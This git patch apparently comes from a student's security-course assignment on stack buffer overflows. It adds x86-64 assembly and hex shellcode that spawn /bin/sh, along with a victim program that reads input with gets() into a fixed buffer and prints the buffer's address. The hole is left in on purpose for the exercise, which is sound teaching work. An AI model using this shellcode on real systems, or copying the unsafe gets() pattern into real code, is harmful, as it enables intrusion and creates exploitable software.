From 5d6c89bf421cd044dff8d9f653e77972f8161403 Mon Sep 17 00:00:00 2001
From: Camil Staps
Date: Wed, 13 Jan 2016 15:57:36 +0100
Subject: Assignment 6

---
 CamilStaps-s4498062-Assignment-6/a.out     | Bin 0 -> 6704 bytes
 CamilStaps-s4498062-Assignment-6/shell.c   |  14 ++++++++++++++
 CamilStaps-s4498062-Assignment-6/shellcode |   2 ++
 CamilStaps-s4498062-Assignment-6/victim    | Bin 0 -> 7048 bytes
 CamilStaps-s4498062-Assignment-6/victim.c  |  12 ++++++++++++
 5 files changed, 28 insertions(+)
 create mode 100755 CamilStaps-s4498062-Assignment-6/a.out
 create mode 100644 CamilStaps-s4498062-Assignment-6/shell.c
 create mode 100644 CamilStaps-s4498062-Assignment-6/shellcode
 create mode 100755 CamilStaps-s4498062-Assignment-6/victim
 create mode 100644 CamilStaps-s4498062-Assignment-6/victim.c

(limited to 'CamilStaps-s4498062-Assignment-6')

diff --git a/CamilStaps-s4498062-Assignment-6/a.out b/CamilStaps-s4498062-Assignment-6/a.out
new file mode 100755
index 0000000..8eec823
Binary files /dev/null and b/CamilStaps-s4498062-Assignment-6/a.out differ
diff --git a/CamilStaps-s4498062-Assignment-6/shell.c b/CamilStaps-s4498062-Assignment-6/shell.c
new file mode 100644
index 0000000..6d12e02
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/shell.c
@@ -0,0 +1,14 @@
+int main() {
+  asm("\
+needle0: jmp there\n\
+here:    pop %rdi\n\
+         xor %rax, %rax\n\
+         movb $0x3b, %al\n\
+         xor %rsi, %rsi\n\
+         xor %rdx, %rdx\n\
+         syscall\n\
+there:   call here\n\
+.string \"/bin/sh\"\n\
+needle1: .octa 0xdeadbeef\n\
+  ");
+}
diff --git a/CamilStaps-s4498062-Assignment-6/shellcode b/CamilStaps-s4498062-Assignment-6/shellcode
new file mode 100644
index 0000000..6cc4c29
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/shellcode
@@ -0,0 +1,2 @@
+eb0e5f4831c0b03b4831f64831d20f05e8edffffff2f62696e2f736800ef
+bead
diff --git a/CamilStaps-s4498062-Assignment-6/victim b/CamilStaps-s4498062-Assignment-6/victim
new file mode 100755
index 0000000..e874655
Binary files /dev/null and b/CamilStaps-s4498062-Assignment-6/victim differ
diff --git a/CamilStaps-s4498062-Assignment-6/victim.c b/CamilStaps-s4498062-Assignment-6/victim.c
new file mode 100644
index 0000000..4985bfa
--- /dev/null
+++ b/CamilStaps-s4498062-Assignment-6/victim.c
@@ -0,0 +1,12 @@
+#include <stdio.h>
+
+int main(void)
+{
+    char name[256];
+    printf("%p\n",&name);
+    puts("What’s your name?");
+    gets(name);
+    printf("Hello, %s!\n", name);
+    return 0;
+}
+
-- 
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